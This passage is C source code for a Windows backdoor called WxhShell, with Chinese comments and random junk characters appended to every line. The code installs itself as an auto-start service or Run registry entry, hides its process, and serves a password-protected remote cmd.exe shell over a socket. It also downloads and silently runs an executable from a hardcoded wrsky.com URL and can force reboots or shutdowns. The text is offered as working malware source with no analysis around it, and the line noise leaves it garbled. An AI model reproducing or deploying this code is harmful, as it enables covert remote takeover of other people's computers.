    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G {a;s-OA3  
    if(Boot(SHUTDOWN)) 5 RYrAzQo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1-R4A7+3  
    else { Bma.Uln  
    closesocket(wsh); "IWL& cH3  
    ExitThread(0); w"A>mEex<  
    } k\ZU%"^J  
    break; $]?M[sL\N7  
    } W=2]!%3#  
  // 获取shell ;)sC{ "Jb  
  case 's': { 5 L-6@@/  
    CmdShell(wsh); fvG4K(  
    closesocket(wsh); ;@n/g U  
    ExitThread(0); qVd s 2  
    break; )Rj?\ZUR  
  } '%a:L^a?  
  // 退出 (D\`:1g  
  case 'x': { [&zSYmDk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *P`k|-  
    CloseIt(wsh); t,kai6UM  
    break; *O-m:M!eA  
    } yzXS{#\  
  // 离开 4 X0ku]  
  case 'q': { b'RBel;W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0iz\<' p  
    closesocket(wsh); !T}R=;)e h  
    WSACleanup(); *4l6+#W  
    exit(1); e C&!yY2g  
    break; 0 Gq<APtr  
        } &*~_ "WyU  
  } ^n\g,  
  } #Q|ACNpYM  
<,9rXjeRl  
  // 提示信息 3:b5#c?R-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4c.!^EiV  
} 0X%#9s ~  
  } U{HBmSR  
|Lc.XxBkc  
  return; 5g2:o^  
} l585L3i  
}w)wW1&  
// shell模块句柄 6O'Y@9#  
int CmdShell(SOCKET sock) }jg,[jw_"X  
{ *C^TCyBK;  
STARTUPINFO si; =z}M(<G  
ZeroMemory(&si,sizeof(si)); T`Xz*\}Zb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >~T2MlRux  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MnptC 1N  
PROCESS_INFORMATION ProcessInfo; yeV|j\TJI.  
char cmdline[]="cmd"; ?jnbm'~S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >a: 6umY  
  return 0; z~;@Mo"*f  
} +@\=v}: F  
IY|>'}UU#  
// 自身启动模式 3[%n@i4H|  
int StartFromService(void) KU_""T  
{ tCu9 D  
typedef struct D]K?ntS[*  
{ |1/?>=dDm  
  DWORD ExitStatus; :A,7D(H|  
  DWORD PebBaseAddress; I&5cUj{GX-  
  DWORD AffinityMask; IpVtbDW  
  DWORD BasePriority; U@)WTH6d  
  ULONG UniqueProcessId; 7#9fcfL  
  ULONG InheritedFromUniqueProcessId; ~8[`(/hj  
}   PROCESS_BASIC_INFORMATION; j8ac8J,}c  
uecjR8\e  
PROCNTQSIP NtQueryInformationProcess; Z'c9xvy5  
@u8kNXT;h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %v]-:5g'|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ' h|d-p\`9  
=%+xNOdN7?  
  HANDLE             hProcess; L#/<y{  
  PROCESS_BASIC_INFORMATION pbi; ,*;g+[Bhpl  
~&+8m=   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4TaHS!9  
  if(NULL == hInst ) return 0; szy2"~hm  
Kp/l2?J"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {JW_ZJx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \}7xgQ>oV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >+*lG>!z  
GUsJF;;V  
  if (!NtQueryInformationProcess) return 0;  .+-7 'ux  
vH]2t.\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A*? Qm  
  if(!hProcess) return 0;  Kuh)3/7  
p[D,.0SuC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l/bZE.GJ  
K)9f\1\  
  CloseHandle(hProcess); V_T~5%9Fy  
qWI8 >my11  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <J!?eH9f  
if(hProcess==NULL) return 0; r6}-EYq=  
|TuFx=~5v  
HMODULE hMod; .WW|v  
char procName[255]; iMp_1EXe  
unsigned long cbNeeded;  C0j`H(  
k i{8f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }yM!o`90  
nkz^^q`5l7  
  CloseHandle(hProcess); S!7|vb*ko  
\2)~dV:6+  
if(strstr(procName,"services")) return 1; // 以服务启动 FdMTc(>  
WD#7Q&T(;  
  return 0; // 注册表启动 ks<+gL{K|i  
} ?/Z5%?6  
(APGz,^9#  
// 主模块  6Xt c3  
int StartWxhshell(LPSTR lpCmdLine) 1zY" Uxp  
{ q]m$%>  
  SOCKET wsl; Iyt.`z  
BOOL val=TRUE; !Bb^M3iA  
  int port=0; ngH_p>  
  struct sockaddr_in door; h=ko_/<  
r1|;V~ a$~  
  if(wscfg.ws_autoins) Install(); 6 kAXE\T  
s!/Q>A  
port=atoi(lpCmdLine); s C?-L  
\v([,tiW%  
if(port<=0) port=wscfg.ws_port; /@K1"/fqH  
o,=dm@j  
  WSADATA data; I>spJ5ls  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6>/g`%`N  
e}W|wJ):j@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MrpT5|t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'E#Bz"T  
  door.sin_family = AF_INET;  x5W. 3*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !a9/8U_>XF  
  door.sin_port = htons(port); >66v+  
>/DlxYG?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IVSd,AR7yY  
closesocket(wsl); YW^sf,zQ  
return 1; %ZJ;>a#  
} ~.8p8\H  
%weG}gCM  
  if(listen(wsl,2) == INVALID_SOCKET) { RL1cx|  
closesocket(wsl); 66Xo3 o  
return 1; |kkg1M#  
} A$ o?_  
  Wxhshell(wsl); el^WBC3  
  WSACleanup(); dL>8|  
=^gZJ@  
return 0; 2k"!o~s^  
C2W&*W*  
} 3X}>_tj  
g;G.uF&  
// 以NT服务方式启动 ,$; pLjo6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :HDU \|{^  
{ 2<Q3-|/i  
DWORD   status = 0; >^%TY^7n  
  DWORD   specificError = 0xfffffff; i@STo7=  
WhN~R[LE_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BFMINq>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _9b;8%? Yf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OqA#4h4^  
  serviceStatus.dwWin32ExitCode     = 0; OG}m+K&<  
  serviceStatus.dwServiceSpecificExitCode = 0; aak[U;rx  
  serviceStatus.dwCheckPoint       = 0; tD\%SiTg=b  
  serviceStatus.dwWaitHint       = 0; %P-z3 0FHp  
|fg{Fpc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uY Y{M`  
  if (hServiceStatusHandle==0) return; Kv-4VWh  
eh} {\P  
status = GetLastError(); 2 1]8 7$  
  if (status!=NO_ERROR) &\/p5RX  
{ w&^_2<a2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0|@* `-:VO  
    serviceStatus.dwCheckPoint       = 0; TClgywL  
    serviceStatus.dwWaitHint       = 0; o<8=@ ^T  
    serviceStatus.dwWin32ExitCode     = status; TSAVXng  
    serviceStatus.dwServiceSpecificExitCode = specificError; x9VR>ux&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AF-uTf  
    return; XKepk? E  
  } O #S27.  
2';f8JLY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .@(9v.:_u  
  serviceStatus.dwCheckPoint       = 0; fI1,L"  
  serviceStatus.dwWaitHint       = 0; !_My]>S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8\@&~&(y:  
} nA>kJSL'$  
%(y0,?*  
// 处理NT服务事件,比如:启动、停止 bClMM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;33LuD<h.  
{ Q,z^eMk'd:  
switch(fdwControl) >@9>bI+Q  
{ 0NMekVi  
case SERVICE_CONTROL_STOP: *FrlzIAom  
  serviceStatus.dwWin32ExitCode = 0; yUzpl[*e^o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1lLL9l{UVw  
  serviceStatus.dwCheckPoint   = 0; 0413K_  
  serviceStatus.dwWaitHint     = 0; MC&sM-/  
  { Z 7s (g]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y]gb`z$?  
  } sM$gfFx  
  return; .,5N/p"aV  
case SERVICE_CONTROL_PAUSE: a+Z95~*sZ"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?A7_&=J%  
  break; dwAFJhgh  
case SERVICE_CONTROL_CONTINUE: N++jI(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P(#by{s  
  break; 7Ta",S@m  
case SERVICE_CONTROL_INTERROGATE: 8rx"D`{|  
  break; 3>t^Xu~  
}; ME%W,B.|"s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jk'.Gz  
} (( D*kd"  
T,eP&IN  
// 标准应用程序主函数 ,3tcti~sZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A$]&j5nh|  
{ \$] V#@F  
ow{SsX  
// 获取操作系统版本 qFD#D_O6  
OsIsNt=GetOsVer(); <_~>YJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o|?bvFC  
W{!GL  
  // 从命令行安装 Eax^1 |6  
  if(strpbrk(lpCmdLine,"iI")) Install(); ni$S@0  
_H+|Ic  
  // 下载执行文件 UfUboxT  
if(wscfg.ws_downexe) { g-Y2U}&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CZL:&~l1  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;>d uY\$<  
} !$i*u-%4  
&58+-jzW  
if(!OsIsNt) { !K~:crUV|S  
// 如果时win9x,隐藏进程并且设置为注册表启动 tuF hPqe {  
HideProc(); %@jL? u  
StartWxhshell(lpCmdLine); `Z:5E  
} <cn{S`  
else v9qgfdBS5  
  if(StartFromService()) @GpM 4>:  
  // 以服务方式启动 dE[nPtstb  
  StartServiceCtrlDispatcher(DispatchTable); &eHhj9  
else |_^A$Hv  
  // 普通方式启动 I*Q^$YnM  
  StartWxhshell(lpCmdLine); N5%zbfKM  
9j;L-  
return 0; ~;*SW[4  
} SXW8p>1Jw  
(!@ Q\P  
:DlgNR`bq  
t<|S7EqIL  
=========================================== &(] @L\A  
1dy>a=W  
9$u'2TV  
g5 J[ut  
z"@yE*6  
!5;A.f  
" jeM/8~^4-  
[8o!X)  
#include <stdio.h> ^}gQh#  
#include <string.h> m6 )sX&  
#include <windows.h> kt ILKpHt"  
#include <winsock2.h> lStYfO:<'v  
#include <winsvc.h> B4 cm_YGE  
#include <urlmon.h> "|6#n34  
U?}>A5H  
#pragma comment (lib, "Ws2_32.lib") ^" EsBt  
#pragma comment (lib, "urlmon.lib") KAucSd`  
j JxV)AIY  
#define MAX_USER   100 // 最大客户端连接数 pS3TD"p  
#define BUF_SOCK   200 // sock buffer 8U5L |Ny.q  
#define KEY_BUFF   255 // 输入 buffer l#W9J.q(  
AI|8E8h+D  
#define REBOOT     0   // 重启 o6PDCaT7  
#define SHUTDOWN   1   // 关机 Tjfg[Z/x  
8d90B9  
#define DEF_PORT   5000 // 监听端口 &{Zt(%\ '  
fgmIx  
#define REG_LEN     16   // 注册表键长度 pa6.Tp>  
#define SVC_LEN     80   // NT服务名长度 MMZdF{5@G  
Z*}5M4  
// 从dll定义API rl0sN5n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~e ,D`Lv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ){PL6|5x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BixKK$Lo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &3SQVOW ~T  
8e`'Ox_5a  
// wxhshell配置信息 {PXN$p:'  
struct WSCFG { GtCbzNY  
  int ws_port;         // 监听端口 ]5+db0  
  char ws_passstr[REG_LEN]; // 口令 c3X'Sv  
  int ws_autoins;       // 安装标记, 1=yes 0=no yj6o533o  
  char ws_regname[REG_LEN]; // 注册表键名 4+Sq[Rv0  
  char ws_svcname[REG_LEN]; // 服务名 :+9KNyA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y7;i4::A\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bF#*cH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $rAHtr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XQW+6LEQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b>B.3E\Pc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7g}lg8M  
'8Q:}{  
}; 1kG{z;9  
jb!R  
// default Wxhshell configuration 6[dLj9 G%  
struct WSCFG wscfg={DEF_PORT, Q]Ymv:M,  
    "xuhuanlingzhe", 0wx lsny?  
    1, k}5Sz  
    "Wxhshell", ]"jJgO^  
    "Wxhshell", r+}5;fQJ  
            "WxhShell Service", n( |~z   
    "Wrsky Windows CmdShell Service", !ys82  
    "Please Input Your Password: ", 4xg7 oo0iJ  
  1, /.'tfy $  
  "http://www.wrsky.com/wxhshell.exe", s<i& q {r  
  "Wxhshell.exe" BM(8+Wj  
    }; ]}3AP!:  
$c!cO" U  
// 消息定义模块 %6\e_y%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BI'}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `uO(#au,U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IA\CBwiLj  
char *msg_ws_ext="\n\rExit."; O>Vb7`z0<  
char *msg_ws_end="\n\rQuit."; \"]vSx>  
char *msg_ws_boot="\n\rReboot..."; S1iF1X(+?X  
char *msg_ws_poff="\n\rShutdown..."; pZS0;T]W,  
char *msg_ws_down="\n\rSave to "; eY)JuJ?  
03WLVP@  
char *msg_ws_err="\n\rErr!"; ewNzRH,b  
char *msg_ws_ok="\n\rOK!"; ]wH,534  
K0|8h!WF+  
char ExeFile[MAX_PATH]; Ue>;h9^  
int nUser = 0; ~nQv yM!$  
HANDLE handles[MAX_USER]; t:DZow  
int OsIsNt; +:hZ,G?>  
E4a`cGb  
SERVICE_STATUS       serviceStatus; }klET   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J YA  
As$:V<Z  
// 函数声明 0w0\TWz*   
int Install(void); *o}LI6_u  
int Uninstall(void); [jPUAr}  
int DownloadFile(char *sURL, SOCKET wsh); *} pl  
int Boot(int flag); tOJK~%'  
void HideProc(void); I[r  
int GetOsVer(void); '[E|3K5d  
int Wxhshell(SOCKET wsl); >vDa`|g  
void TalkWithClient(void *cs); sD|P*ir  
int CmdShell(SOCKET sock); P8hA<{UFS\  
int StartFromService(void); f^P:eBgpx  
int StartWxhshell(LPSTR lpCmdLine); )20jZm*  
_Eus<c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 82S?@%}#J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e)pQh& uD  
,_STt)  
// 数据结构和表定义 {XT3M{`rWL  
SERVICE_TABLE_ENTRY DispatchTable[] = ^sLnKAN  
{ :L~{Q>o  
{wscfg.ws_svcname, NTServiceMain}, pzX684  
{NULL, NULL} =Kq/E De  
}; k 8C[fRev  
cQ= "3M)~r  
// 自我安装 RTPxAp+\5  
int Install(void) ::k>V\;  
{ FtaO@5pS54  
  char svExeFile[MAX_PATH]; k<1BE^[V  
  HKEY key; CdxEY  
  strcpy(svExeFile,ExeFile); 4eZ  
&d"c6il[  
// 如果是win9x系统,修改注册表设为自启动 [(Z sQK  
if(!OsIsNt) { T=/GFg'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qb^jcy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]g#ur@Y%  
  RegCloseKey(key); rTBrl[&,q'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S,9}p 1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8<,b5  
  RegCloseKey(key); PNm WZW*  
  return 0; >EVlMt27'  
    } H3$~S '  
  } "A_,Ga  
} ]2^tV.^S^  
else { e,Ih7-=Er,  
+Dg%ec  
// 如果是NT以上系统,安装为系统服务 XCQS_'D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0* G5Vd  
if (schSCManager!=0) !1i(6?~#4  
{ 9}~WwmC|x  
  SC_HANDLE schService = CreateService c$X0C&m  
  ( BXNt@%  
  schSCManager, >d.o1<  
  wscfg.ws_svcname, ``%uq)G=D  
  wscfg.ws_svcdisp, Y,-?oBY  
  SERVICE_ALL_ACCESS, Kd 2?9gaw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <ej Wl%4  
  SERVICE_AUTO_START, ")J\} $r  
  SERVICE_ERROR_NORMAL, Ix+===6  
  svExeFile, tTWeOAF  
  NULL, ya!RiHj  
  NULL, 0((3q'[ <  
  NULL, U}H2!et&,)  
  NULL, mI55vNyer  
  NULL ?{bF3Mz=  
  ); TTg>g~t`  
  if (schService!=0) @]*b$6tt  
  { v&BKl  
  CloseServiceHandle(schService); gv&%2e}_  
  CloseServiceHandle(schSCManager); 0_Gi1)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +f{CfWIKs  
  strcat(svExeFile,wscfg.ws_svcname); .'3&!#3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JNQiCK,)}M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qT`sPEs;V  
  RegCloseKey(key); z^+`S:  
  return 0; \ (y6o}aW  
    } ;aZ$qgN*Y  
  } ,@+ 7(W  
  CloseServiceHandle(schSCManager); MQL1/>j;  
} ,2Y P D4  
} }*WNrS">S  
ftVA  
return 1; %bM^/7  
} ]=2wQ8  
QPe+K61U  
// 自我卸载 ]B;GU  
int Uninstall(void) Ka[@-XH  
{ (TufvHC  
  HKEY key; \Y)pm9!  
]X:{y&g(  
if(!OsIsNt) { 4::>Ca^{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @Y/PvS8!  
  RegDeleteValue(key,wscfg.ws_regname); IR*g>q  
  RegCloseKey(key); goYRA_%cX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U.7;:W}c  
  RegDeleteValue(key,wscfg.ws_regname); X~/hv_@  
  RegCloseKey(key); EJ$-  
  return 0; n^8LF9r  
  } #;Yn8'a~  
} u{0'" jVJ  
} 4"$K66yk@  
else { >KjyxJ7  
=NyN.^bwT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uzf@49m]m  
if (schSCManager!=0) g8 (zvG;Y  
{ -4P2 2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _pu G?p  
  if (schService!=0) = > .EDL.  
  { }}a<!L,{  
  if(DeleteService(schService)!=0) { @\[UZVmBw  
  CloseServiceHandle(schService); "%O,*t  
  CloseServiceHandle(schSCManager); w(w%~;\kLP  
  return 0; #qk}e4u  
  } .@0i,7S  
  CloseServiceHandle(schService); D]+0X8@kH7  
  } kyQUaFG  
  CloseServiceHandle(schSCManager); v#iKa+tx  
} x:TBZh?@$  
} zk+&5d 4(  
*/gm! :Ym  
return 1; DA s&4Y`  
} O.7Q* ^_  
jEQr{X7bEL  
// 从指定url下载文件 x`'2oz=,F4  
int DownloadFile(char *sURL, SOCKET wsh) pWo`iM& F  
{ 5t6!K?}  
  HRESULT hr; 3L24|-GxH  
char seps[]= "/"; &5&C   
char *token; )^+v*=Dc-i  
char *file; '}a[9v76  
char myURL[MAX_PATH]; ebk{p <  
char myFILE[MAX_PATH]; ny:c&XS  
Lp\89tB>  
strcpy(myURL,sURL); &]VCZQL  
  token=strtok(myURL,seps); vkE[Ur>  
  while(token!=NULL) 3zJbb3e  
  { ZN)a}\]  
    file=token; r>+Hwj0>  
  token=strtok(NULL,seps); O=os ,'"  
  } vF, !8e'v  
RulZh2C  
GetCurrentDirectory(MAX_PATH,myFILE); n7~!klF-  
strcat(myFILE, "\\"); 0mB]*<x8  
strcat(myFILE, file); *wW/nr=\;  
  send(wsh,myFILE,strlen(myFILE),0); {p -b,J9~a  
send(wsh,"...",3,0); :[gM 5G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HR'r~ #j  
  if(hr==S_OK) !ndc <],  
return 0; '>:mEXK}w  
else sa\v9  
return 1; xwxMVp`|o  
yb BLBJb  
} Qh%(yL!  
}Sa2s&[<  
// 系统电源模块 #pJ^w>YNy  
int Boot(int flag) AL/`Pqlk  
{ 1nh2()QI[  
  HANDLE hToken; HjTK/x'_'L  
  TOKEN_PRIVILEGES tkp; l[]K5?AS>-  
;EP]A3  
  if(OsIsNt) { @F_#d)+%>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RYMOLX84  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J-lQPMI,  
    tkp.PrivilegeCount = 1; v'`9^3(-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5q[0;`J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q_Td!?2?  
if(flag==REBOOT) { 2Up1 FFRx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fy-+? ~  
  return 0; Y7R"~IA$  
} |xaJv:96%  
else { O~F/pJN`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;u LD_1%  
  return 0; z^ +CD-  
} u/FnA-L4  
  } 4VE7%.z+  
  else { |RQ19m@  
if(flag==REBOOT) { <a *X&P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =Haqr*PDx  
  return 0; wC@5[e$  
} bu"R2~sb  
else { TRG(W^<F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tBe)#-O  
  return 0; ToIvyeFr  
} a pqzf  
} -ecP@,  
}J t( H  
return 1; *a Y`[,4#$  
} UJkg|eu  
k))*Sg  
// win9x进程隐藏模块 !Y_"q^5GG'  
void HideProc(void) iK%<0m  
{ tx;DMxN!W  
;J pdnV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UD [S>{  
  if ( hKernel != NULL ) mg)lr&-b  
  { +F ~;Q$T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .:,RoK1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lpkg( J#&  
    FreeLibrary(hKernel); 0j%@P[zQ  
  } dwks"5l  
LH.. 8nfl  
return; e47JLW&b  
} >jAr9Blz]  
)F 6#n&2  
// 获取操作系统版本 N m-{$U  
int GetOsVer(void) VY8 p[`  
{ D1bS=> ;,"  
  OSVERSIONINFO winfo; ITh1|yP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |E-0P=h  
  GetVersionEx(&winfo); Ltpd:c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~T<#HSR`  
  return 1; HGmgQ>q@M$  
  else s)<#a(!  
  return 0; 1QM*oj:  
} J=>?D@K  
eSXt"t  
// 客户端句柄模块 I ,Q"<? &  
int Wxhshell(SOCKET wsl) >L/Rf8j&  
{ !o &+  
  SOCKET wsh; k%#`{#n i  
  struct sockaddr_in client; VtF^; f  
  DWORD myID; }(O/y-  
!_s|h@  
  while(nUser<MAX_USER) hNUAwTH6  
{ ^[XxE Lx  
  int nSize=sizeof(client); 5gW`;Cdbyc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hb9X<N+p  
  if(wsh==INVALID_SOCKET) return 1; u8 14ZN}  
%*P59%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o#E 3{zM  
if(handles[nUser]==0) mnL \c'  
  closesocket(wsh); e;pVoRI  
else hu\HK81m  
  nUser++; R|H9AM ~E  
  } <5/r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h{.KPK\  
qie7iE`o  
  return 0; AY:3o3M  
} 8 f%@:}H  
` 1DJwe2  
// 关闭 socket 2;%DE<Z  
void CloseIt(SOCKET wsh) )F&@ M;2p'  
{ =If% m9  
closesocket(wsh); C1P{4 U  
nUser--; 7P9n. [  
ExitThread(0); 1Nw&Z0MI  
} ?UQVmE&  
^4]#Ri=U  
// 客户端请求句柄 d9|dHJf  
void TalkWithClient(void *cs) #/@U|g  
{ ([UuO}m-  
AL! ^1hCF  
  SOCKET wsh=(SOCKET)cs; c&)H   
  char pwd[SVC_LEN]; $G5m/[KDI  
  char cmd[KEY_BUFF]; `|wH=  
char chr[1]; ,Ihuo5>/z  
int i,j; [6BL C{2  
C<fWDLwYqV  
  while (nUser < MAX_USER) { ;_K+b,  
%f\{ ]  
if(wscfg.ws_passstr) { GmtMA|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2.}<VivT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `3kE$h#  
  //ZeroMemory(pwd,KEY_BUFF); Y\BB;"x1  
      i=0; 'T7JXV5  
  while(i<SVC_LEN) { RGhl` ;  
m\7-/e2 a  
  // 设置超时 #h ;j2  
  fd_set FdRead; WM: ~P$%cx  
  struct timeval TimeOut; 28SlFu?  
  FD_ZERO(&FdRead); rui}a=rs  
  FD_SET(wsh,&FdRead); [e3|yE6  
  TimeOut.tv_sec=8; -'JTVfm.  
  TimeOut.tv_usec=0; ;|w &n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *jGB/ y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [6 wI22  
[V{JuG;s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KoiU\r  
  pwd=chr[0]; t*<vc]D  
  if(chr[0]==0xd || chr[0]==0xa) { COFs?L.`  
  pwd=0; ]l+Bg;F#V  
  break; \l{*1lQ`  
  } MTb}um.($  
  i++; n0U^gsD4J  
    } 9~zh]deH  
8Nxf2i5  
  // 如果是非法用户,关闭 socket q?8MKf[N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =b32E^z,  
} y4VCehdJ  
D[ 7K2G+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @S?.`o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ' F`*(\#  
84 b;G4K  
while(1) { 3{Ze>yFE  
OnH>g"  
  ZeroMemory(cmd,KEY_BUFF); p1v:X?  
0-0 )E&2  
      // 自动支持客户端 telnet标准   #"ayq,GC<  
  j=0; |/arxb&  
  while(j<KEY_BUFF) { ~D@ V@sX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ro@Zbm;P  
  cmd[j]=chr[0]; 0o At=S  
  if(chr[0]==0xa || chr[0]==0xd) { fj0+a0h  
  cmd[j]=0; i0-!!  
  break; j6Jz  
  } =t@m:  
  j++; ~0ZEnejy  
    } D\(,:_ge  
?*}76u  
  // 下载文件 MP[v 9m@  
  if(strstr(cmd,"http://")) { \*LMc69  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E}k#-+u<S4  
  if(DownloadFile(cmd,wsh)) eN/s W!:P|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sl6p/\_w  
  else {,IWjt &>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?MKf=! w  
